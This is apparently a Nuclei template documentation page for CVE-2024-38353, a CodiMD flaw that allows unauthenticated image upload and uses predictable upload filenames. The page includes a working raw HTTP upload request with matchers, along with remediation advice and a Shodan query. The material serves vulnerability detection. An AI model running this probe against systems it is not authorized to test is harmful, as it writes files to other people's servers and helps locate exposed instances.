Skip to content
Nuclei Templates

CodiMD <2.5.4 - Insecure Filename Randomization

ID: CVE-2024-38353

Severity: medium

Author: denandz,PulseSecurity.co.nz

Tags: cve,cve2024,file-upload,intrusive,codimd

Description

Section titled “Description”

CodiMD does not require valid authentication to access uploaded images or to upload new image data. An attacker who can determine an uploaded image’s URL can gain unauthorised access to uploaded image data. Due to the insecure random filename generation in the underlying Formidable library, an attacker can determine the filenames for previously uploaded images and the likelihood of this issue being exploited is increased.

YAML Source

Section titled “YAML Source”
id: CVE-2024-38353


info:
  name: CodiMD <2.5.4 - Insecure Filename Randomization
  author: denandz,PulseSecurity.co.nz
  severity: medium
  description: |
    CodiMD does not require valid authentication to access uploaded images or to upload new image data. An attacker who can determine an uploaded image's URL can gain unauthorised access to uploaded image data. Due to the insecure random filename generation in the underlying Formidable library, an attacker can determine the filenames for previously uploaded images and the likelihood of this issue being exploited is increased.
  impact: |
    An attacker can gain unauthorised access to images uploaded to CodiMD.
  remediation: |
    Update CodiMD to version 2.5.4 or later
  reference:
    - https://github.com/hackmdio/codimd/security/advisories/GHSA-2764-jppc-p2hm
    - https://pulsesecurity.co.nz/advisories/codimd-missing-image-access-controls
    - https://nvd.nist.gov/vuln/detail/CVE-2024-38353
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-38353
    cwe-id: CWE-338
    epss-score: 0.00043
    epss-percentile: 0.10941
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"CodiMD"
  tags: cve,cve2024,file-upload,intrusive,codimd


variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"


http:
  - raw:
      - |
        POST /uploadimage HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------92633278134516118923780781161


        -----------------------------92633278134516118923780781161
        Content-Disposition: form-data; name="image"; filename="{{filename}}.gif"
        Content-Type: image/gif


        {{base64_decode("R0lGODlhAQABAIABAP///wAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==")}}
        -----------------------------92633278134516118923780781161--


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '"link":"/uploads/[a-z0-9]{25,25}.gif"'


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '"link":"(/uploads/[a-z0-9]{25,25}.gif)"'
# digest: 4a0a00473045022031ead4ab3d59d6003b67dae0c0c7d4dedf1655da51245cc08668471d25382885022100ba92d71ff8601bd7de5ef290061dc587c41e6fa0f92460c368c3081636a88ba0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-38353.yaml"

View on Github